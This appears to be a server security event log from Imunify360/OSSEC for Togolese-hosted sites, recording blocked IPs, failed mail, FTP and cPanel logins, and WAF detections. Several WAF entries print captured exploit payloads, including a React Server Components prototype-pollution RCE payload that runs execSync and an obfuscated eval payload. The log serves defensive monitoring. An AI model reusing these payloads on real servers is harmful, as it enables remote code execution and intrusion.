103.134.219.127 - - [13/Jun/2026:15:24:55 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9868956&pdata=https%253A%252F%252Fcivilemagazine.tg%252Fun-rendez-vous-avec-soi-meme-et-avec-dieu%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781364293 HTTP/2.0" 302 0 civilemagazine.tg "https://civilemagazine.tg/un-rendez-vous-avec-soi-meme-et-avec-dieu/" "Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.5405.1579 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.134.219.127


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 44.255.118.119
country_id: 6252001
description:
44.255.118.119 - - [13/Jun/2026:15:26:00 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10249582&pdata=https%253A%252F%252Fkpmg.tg%252Ff3fcede3ceb48531317d565cce982d2b%252F956caa81b3c8ac8e2112f34b9feb7a31%252F9e748621ef5af3193726f97634097a23%252F1891d514c9aaf242756eccd4b76f285b%252Findex.php%253Fcmd%253Dnewupld&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781364358 HTTP/2.0" 302 0 kpmg.tg "https://kpmg.tg/f3fcede3ceb48531317d565cce982d2b/956caa81b3c8ac8e2112f34b9feb7a31/9e748621ef5af3193726f97634097a23/1891d514c9aaf242756eccd4b76f285b/index.php?cmd=newupld" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.7827.114 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:44.255.118.119


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 79.108.218.58
country_id: 1562822
description:
Jun 13 15:28:22 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 79.108.218.58 has been locked due to Imunify RBL


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 102.64.154.25
country_id: 2363686
description:
102.64.154.25 - - [13/Jun/2026:15:28:48 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10445681&pdata=https%253A%252F%252Fdirect7.tg%252Ftag%252Fock-soo-park%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781364489 HTTP/2.0" 404 561 direct7.tg "https://www.google.tg/" "Mozilla/5.0 (Linux; Android 11; SM-A226B/DSN) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.6834.83 Mobile Safari/537.36 EdgA/132.0.2957.115" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:102.64.154.25


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 102.64.153.42
country_id: 2363686
description:
102.64.153.42 - - [13/Jun/2026:15:28:20 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10445681&pdata=https%253A%252F%252Fdirect7.tg%252Ftag%252Fock-soo-park%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781364489 HTTP/2.0" 302 0 direct7.tg "https://direct7.tg/" "Mozilla/5.0 (Android 13; Mobile; rv:129.0) Gecko/129.0 Firefox/129.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:102.64.153.42


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.70
country_id: 130758
description:
Jun 13 15:30:01 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.70 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 102.64.154.25
country_id: 2363686
description:
102.64.154.25 - - [13/Jun/2026:15:29:29 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12938339&pdata=https%253A%252F%252Fdirect7.tg%252Ftag%252Freformes-au-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781364540 HTTP/2.0" 302 0 direct7.tg "https://direct7.tg/" "Mozilla/5.0 (Linux; Android 11; SM-A226B/DSN) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.6834.83 Mobile Safari/537.36 EdgA/132.0.2957.115" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:102.64.154.25


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.137.67.153
country_id: 1210997
description:
103.137.67.153 - - [13/Jun/2026:15:29:41 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10078569&pdata=https%253A%252F%252Ftogodailynews.tg%252Fincendie-du-marche-dagoe-assiyeye-les-importateurs-et-grossistes-mobilises-pour-soutenir-les-victimes%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781364579 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/incendie-du-marche-dagoe-assiyeye-les-importateurs-et-grossistes-mobilises-pour-soutenir-les-victimes/" "Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.7838.1244 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.137.67.153


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 102.64.154.25
country_id: 2363686
description:
102.64.154.25 - - [13/Jun/2026:15:29:53 +0000] "GET /tag/reformes-au-togo/ HTTP/2.0" 499 0 direct7.tg "https://direct7.tg/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12938339&pdata=https%253A%252F%252Fdirect7.tg%252Ftag%252Freformes-au-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781364540" "Mozilla/5.0 (Linux; Android 11; SM-A226B/DSN) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.6834.83 Mobile Safari/537.36 EdgA/132.0.2957.115" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:102.64.154.25


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.78.54.14
country_id: 1668284
description:
2026-06-13 15:31:32 dovecot_login authenticator failed for H=([1.250.67.190]) [211.78.54.14]:49610: 535 Incorrect authentication data (set_id=dasha9198@atms.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.78.54.14
country_id: 1668284
description:
Jun 13 15:31:30 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.78.54.14 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 38.210.181.249
country_id: 3469034
description:
38.210.181.249 - - [13/Jun/2026:15:37:46 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6909549&pdata=https%253A%252F%252Ftogodailynews.tg%252Ftransferts-monetaires-60-500-menages-togolais-beneficiaires%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781365064 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/transferts-monetaires-60-500-menages-togolais-beneficiaires/" "Mozilla/5.0 (Linux; Android 8.0; Pixel 2 Build/OPD3.170816.012) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.1831.1786 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:38.210.181.249


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 184.22.22.46
country_id: 1605651
description:
184.22.22.46 - - [13/Jun/2026:15:37:59 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10131865&pdata=https%253A%252F%252Feducplusmedia.tg%252F2025%252F07%252F13%252Fgaza-pres-de-800-morts-en-attente-daide-de-60-jours%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781365078 HTTP/2.0" 302 0 educplusmedia.tg "https://educplusmedia.tg/2025/07/13/gaza-pres-de-800-morts-en-attente-daide-de-60-jours/" "Mozilla/5.0 (Linux; Android 8.0; Pixel 2 Build/OPD3.170816.012) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.1646.1270 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:184.22.22.46


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.245.237.137
country_id: 798544
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:POST http:/togodailynews.tg:80/wp-admin/admin-ajax.php HTTP/1.1||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 178.95.108.109
country_id: 953987
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/?wmcAction=wmcTrack&action_name=Le Groupe de la BM et NEXI vont renforcer les investissements dans les pays en d\xc3\xa9veloppement | TOGODAILYNEWS&siteId=1&rec=1&rand=999921&h=23&m=38&s=36&url=http:/togodailynews.tg/le-groupe-de-la-bm-et-nexi-vont-renforcer-les-investissements-dans-les-pays-en-developpement/&uid=0&pid=14660&visitorId=b2a28cec848daa88&fvts=1781365116&vc=1&idn=0&refts=0&lvts=1781365116&fullRef=togodailynews.tg/les-industries-extractives-sources-dinvestissements-au-togo&send_image=1&cookie=1&res=375x812&gtms=1940&pvId=5lsc1m&browser=Chrome_50&os=iOS_11.0.0&device=Mobile HTTP/1.1||RSV:8.16||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.132.249.181
country_id: 1210997
description:
103.132.249.181 - - [13/Jun/2026:15:40:38 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9596616&pdata=https%253A%252F%252Ftogodailynews.tg%252Ftogo-vers-lamelioration-des-conditions-de-travail-du-personnel-des-hotels-detat%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781365237 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/togo-vers-lamelioration-des-conditions-de-travail-du-personnel-des-hotels-detat/" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2861.1213 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.132.249.181


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 79.108.218.58
country_id: 1562822
description:
Jun 13 15:43:29 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 79.108.218.58 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.140.160.161
country_id: 298795
description:
2026-06-13 15:46:53 dovecot_plain authenticator failed for H=(hhiymrm9pqqwhkoxdvvjxt1z5ht) [31.140.160.161]:57186: 535 Incorrect authentication data (set_id=sergdev@dgdn-togo.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.239.77.14
country_id: 3996063
description:
Jun 13 15:47:45 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.239.77.14 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 177.140.15.16
country_id: 3469034
description:
177.140.15.16 - - [13/Jun/2026:15:48:25 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12950988&pdata=https%253A%252F%252F24heureinfo.tg%252Fafrique%252Fpage%252F24%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781365703 HTTP/2.0" 302 0 24heureinfo.tg "https://24heureinfo.tg/afrique/page/24/" "Mozilla/5.0 (Linux; Android 8.0; Pixel 2 Build/OPD3.170816.012) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.9770.1636 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:177.140.15.16


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.31.165.31
country_id: 1814991
description:
Jun 13 15:49:34 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.31.165.31 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 220.74.68.23
country_id: 1835841
description:
Jun 13 15:49:51 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 220.74.68.23 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.74.68.23
country_id: 1835841
description:
2026-06-13 15:49:53 dovecot_login authenticator failed for H=([211.253.10.61]) [220.74.68.23]:42963: 535 Incorrect authentication data (set_id=dasha9198)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.31.165.31
country_id: 1814991
description:
2026-06-13 15:49:36 dovecot_login authenticator failed for H=([174.64.199.77]) [111.31.165.31]:11265: 535 Incorrect authentication data (set_id=dasha9198@atms.tg)


plugin: modsec
rule: 77093094
abuser: 43.201.8.223
country_id: 1835841
domain: www.lasnbtg.snb.tg
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"then\": \"$1:__proto__:then\", \"status\": \"resolved_model\", \"reason\": -1, \"value\": \"{\\\"then\\\":\\\"$B1337\\\"}\", \"_response\": {\"_prefix\": \"var res=process.mainModule.require('child_process').execSync('echo $((41*271)) | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\", \"_chunks\": \"$Q2\", \"_formData\": {\"get\": \"$1:constructor:constructor\"}}}||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 43.201.8.223
country_id: 1835841
domain: www.lasnbtg.snb.tg
description:
IM360 WAF: Bad file extension||RSV:8.16||T:APACHE||MVN:REQUEST_FILENAME||MV:/phpinfo.php.bak||User:bighostingsnbd||


plugin: modsec
rule: 77142201
name: IM360 WAF: Possible enumeration of sensitive data (dirb)
abuser: 43.201.8.223
country_id: 1835841
domain: www.lasnbtg.snb.tg
description:
IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||RSV:8.16||T:APACHE||MV:phpinfo.php~||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.221.144.215
country_id: 690791
description:
Jun 13 15:52:59 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.221.144.215 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 118.25.67.181
country_id: 1814991
description:
Jun 13 15:53:12 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 118.25.67.181 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.144.212.47
country_id: 690791
description:
Jun 13 15:53:17 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.144.212.47 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.144.212.47
country_id: 690791
description:
2026-06-13 15:53:19 dovecot_plain authenticator failed for H=([45.144.212.47]) [45.144.212.47]:53230: 535 Incorrect authentication data (set_id=supporthosting@cafe.tg)


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 45.144.212.47
country_id: 690791
description:
Jun 13 15:53:36 ns5 pure-ftpd[2525008]: (?@45.144.212.47) [WARNING] Authentication failed for user [supporthosting]


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 195.3.220.88
country_id: 798544
description:
[2026-06-13 15:56:12 +0000] info [cpaneld] 195.3.220.88 - a.mathey "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user a.mathey (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.106.129
country_id: 3469034
description:
Jun 13 15:56:22 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.106.129 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 195.3.220.88
country_id: 798544
description:
[2026-06-13 15:58:14 +0000] info [cpaneld] 195.3.220.88 - dev03 "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dev03 (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.221.148.154
country_id: 690791
description:
Jun 13 15:58:47 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.221.148.154 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.43.107.85
country_id: 298795
description:
2026-06-13 15:58:49 dovecot_plain authenticator failed for H=(sdsydu0rpbks14syriw) [213.43.107.85]:54042: 535 Incorrect authentication data (set_id=welldrive@confortis.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.214.53
country_id: 732800
description:
2026-06-13 15:59:11 dovecot_plain authenticator failed for H=(w7uljr7l7civxl1o07rgs) [104.28.214.53]:58614: 535 Incorrect authentication data (set_id=admin@togocarrierebetons.com)


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 45.144.212.47
country_id: 690791
description:
Jun 13 15:59:58 ns5 pure-ftpd[2528032]: (?@45.144.212.47) [WARNING] Authentication failed for user [belmonde.zossou]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 47.230.3.95
country_id: 6252001
description:
2026-06-13 15:59:27 dovecot_plain authenticator failed for H=(oq1wpj86kzy0egvgtjoff4wtr9x9we) [47.230.3.95]:35649: 535 Incorrect authentication data (set_id=admin@togocarrierebetons.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.144.212.47
country_id: 690791
description:
2026-06-13 15:59:32 dovecot_plain authenticator failed for H=([45.144.212.47]) [45.144.212.47]:59417: 535 Incorrect authentication data (set_id=belmonde.zossou@mesyscom.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.230.3.95
country_id: 6252001
description:
Jun 13 15:59:25 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.230.3.95 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.144.212.47
country_id: 690791
description:
Jun 13 15:59:30 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.144.212.47 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 195.3.220.88
country_id: 798544
description:
[2026-06-13 16:00:44 +0000] info [cpaneld] 195.3.220.88 - nwvfmxat "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.92.241.106
country_id: 2750405
description:
Jun 13 16:01:32 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.92.241.106 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.92.241.106
country_id: 2750405
description:
2026-06-13 16:01:34 dovecot_login authenticator failed for H=server.fusionmail.shop (0ID3WNHy) [91.92.241.106]:58307: 535 Incorrect authentication data (set_id=ghmfa01)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.92.241.106
country_id: 2750405
description:
2026-06-13 16:02:55 dovecot_login authenticator failed for H=server.fusionmail.shop (yTFU9ExSM) [91.92.241.106]:61589: 535 Incorrect authentication data (set_id=ghmfa01)


plugin: modsec
rule: 77350027
name: IM360 WAF: RCE Vulnerability in Elementor WordPress Plugin (CVE-2022-1329)
abuser: 102.64.159.118
country_id: 2363686
domain: brmn.tg
description:
IM360 WAF: RCE Vulnerability in Elementor WordPress Plugin (CVE-2022-1329)||WPU:admin||RSV:8.16||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.92.241.106
country_id: 2750405
description:
Jun 13 16:02:53 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.92.241.106 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.142
country_id: 1880251
description:
47.128.96.142 - - [13/Jun/2026:16:03:12 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6855789&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fsuper-contaminateur%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781366591 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/super-contaminateur/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.142


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.92.241.106
country_id: 2750405
description:
Jun 13 16:03:35 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.92.241.106 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.92.241.106
country_id: 2750405
description:
2026-06-13 16:03:37 dovecot_login authenticator failed for H=server.fusionmail.shop (IJuI3G1) [91.92.241.106]:57408: 535 Incorrect authentication data (set_id=ghmfa01)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 195.3.220.88
country_id: 798544
description:
[2026-06-13 16:04:49 +0000] info [cpaneld] 195.3.220.88 - aogodmm "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.92.241.106
country_id: 2750405
description:
Jun 13 16:04:20 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.92.241.106 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.92.241.106
country_id: 2750405
description:
2026-06-13 16:04:22 dovecot_login authenticator failed for H=server.fusionmail.shop (W4PKsZ) [91.92.241.106]:64285: 535 Incorrect authentication data (set_id=ghmfa01)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 195.3.220.88
country_id: 798544
description:
[2026-06-13 16:05:35 +0000] info [cpaneld] 195.3.220.88 - esso "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user esso (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.92.241.106
country_id: 2750405
description:
2026-06-13 16:05:49 dovecot_login authenticator failed for H=server.fusionmail.shop (iKsFnGt) [91.92.241.106]:56463: 535 Incorrect authentication data (set_id=ghmfa01)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.92.241.106
country_id: 2750405
description:
Jun 13 16:05:47 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.92.241.106 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.71.21.70
country_id: 1562822
description:
2026-06-13 16:07:55 dovecot_login authenticator failed for H=([146.56.225.248]) [27.71.21.70]:36286: 535 Incorrect authentication data


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 5.36.207.63
country_id: 286963
domain: www.ca-togo.org
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.ca-togo.org/objectif HTTP/1.1||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.172.74.244
country_id: 1562822
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/1378143664 HTTP/1.1||RSV:8.16||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 195.63.13.230
country_id: 6252001
description:
[2026-06-13 16:09:44 +0000] info [cpaneld] 195.63.13.230 - ylhgcaui "GET / HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.220.101.37
country_id: 2921044
description:
2026-06-13 16:10:54 dovecot_plain authenticator failed for H=tor-exit-37.for-privacy.net (j1pg94d75prgahpeu) [185.220.101.37]:64395: 535 Incorrect authentication data (set_id=admin@togocarrierebetons.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.220.101.37
country_id: 2921044
description:
Jun 13 16:10:52 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.220.101.37 has been locked due to Imunify RBL


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 196.171.11.166
country_id: 2363686
domain: civilemagazine.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.16||T:APACHE||MV:/wp-json/wp/v2/users/10?context=view&_fields=id%2Cname&_locale=user||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 79.108.218.58
country_id: 1562822
description:
Jun 13 16:13:43 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 79.108.218.58 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 118.25.67.181
country_id: 1814991
description:
Jun 13 16:13:45 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 118.25.67.181 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 195.3.220.88
country_id: 798544
description:
[2026-06-13 16:16:07 +0000] info [cpaneld] 195.3.220.88 - websitecpanel "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 146.190.154.100
country_id: 6252001
description:
Jun 13 16:15:52 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 146.190.154.100 has been locked due to Imunify RBL


plugin: modsec
rule: 77093094
abuser: 35.192.232.168
country_id: 6252001
domain: mail.moodle.free.netmaster.tg
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"then\":\"$1:__proto__:then\",\"data_5dfd796f\":0.0,\"ns_30ed4deb\":\"cea5\",\"value\":\"{\\\"then\\\": \\\"$B0\\\"}\",\"status\":\"resolved_model\",\"x_9ef7bb0b\":\"5e5a4ba81ed77dd8\",\"_response\":{\"_prefix\":\"var nqg=arguments[0x1];var sfps=nqg;try{var _v=((0,eval)(global[[\\\"Bu\\\",\\\"ff\\\",\\\"e\\\",\\\"r\\\


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 79.108.218.58
country_id: 1562822
description:
Jun 13 16:28:48 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 79.108.218.58 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.253.159.70
country_id: 732800
description:
Jun 13 16:28:56 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.253.159.70 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 195.3.220.88
country_id: 798544
description:
[2026-06-13 16:29:16 +0000] info [cpaneld] 195.3.220.88 - waywcbyw "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 39.53.83.245
country_id: 1168579
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/938478 HTTP/1.1||RSV:8.16||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 172.111.157.3
country_id: 6252001
description:
[2026-06-13 16:30:16 +0000] info [whostmgrd] 172.111.157.3 - radiotogocomtg "POST /login?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.187.246.95
country_id: 1562822
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/togo-322-milliards-cfa-pour-renforcer-la-securite-nationale/ HTTP/1.1||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77350541
